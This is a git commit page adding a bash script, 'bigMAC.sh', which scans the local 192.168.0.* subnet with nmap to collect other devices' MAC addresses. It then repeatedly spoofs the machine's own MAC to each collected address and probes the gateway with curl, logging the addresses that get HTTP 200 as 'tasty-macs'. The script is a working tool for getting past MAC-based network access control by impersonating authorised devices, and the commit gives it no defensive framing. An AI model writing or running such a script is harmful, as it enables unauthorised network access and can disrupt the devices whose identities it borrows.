diff options
author | kartofen <mladenovnasko0@gmail.com> | 2023-04-01 16:23:12 +0300 |
---|---|---|
committer | kartofen <mladenovnasko0@gmail.com> | 2023-04-01 16:23:12 +0300 |
commit | 0509185cbf885c62c82362a132c71d80c5e82074 (patch) | |
tree | 3fcc2d7b20712cce178e08f152632e3f527ece03 |
done
-rwxr-xr-x | bigMAC.sh | 58 |
1 files changed, 58 insertions, 0 deletions
diff --git a/bigMAC.sh b/bigMAC.sh new file mode 100755 index 0000000..f29f39f --- /dev/null +++ b/bigMAC.sh @@ -0,0 +1,58 @@ +#!/usr/bin/bash + +# check for deps +deps=("nmap" "grep" "awk") +for dep in "${deps[@]}"; do + if ! which "$dep" &> /dev/null; then + echo "ERROR: The dependency '$dep' is not installed" + exit + fi +done + + +macs_file="macs.txt" +succ_file="tasty-macs.txt" +interface="wlp2s0" + +timeperiod=$((1)) # timeperiod=$((60 * 60 * 3)) +date_format="echo \033[0;33m$(date '+%b %d %T')\033[0m" + +function get_macs { + while true; do n=0 + while read -r addr; do + if ! grep -qF -- "$addr" "$macs_file" &> /dev/null; then + echo "$addr" >> "$macs_file" + n=$((n+1)) + fi + done <<< $(nmap -sn 192.168.0.* | awk '/^MAC Address:/{print $3}') + + ((n > 0)) && echo -e "$($date_format) Wrote $n new addresses to $macs_file" || true + done +} + +function set_ip_address { + ip link set dev "$interface" down + ip link set dev "$interface" address "$1" + ip link set dev "$interface" up + sleep 2 +} + +function taste-macs { + while read -r addr; do + set_ip_address "$addr" + response=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 192.168.0.1) + if [[ "$response" == "200" ]]; then + if ! grep -qF -- "$addr" "$succ_file" &> /dev/null; then + echo "$addr" >> "$succ_file" + echo -e "$($date_format) Wrote '$addr' to $succ_file" + fi + fi + done < "$macs_file" + + set_ip_address "$(ip link show "$interface" | awk '/link\/ether/{print $6}')" +} + +while true; do + get_macs & sleep "$timeperiod"; kill $! + taste-macs +done |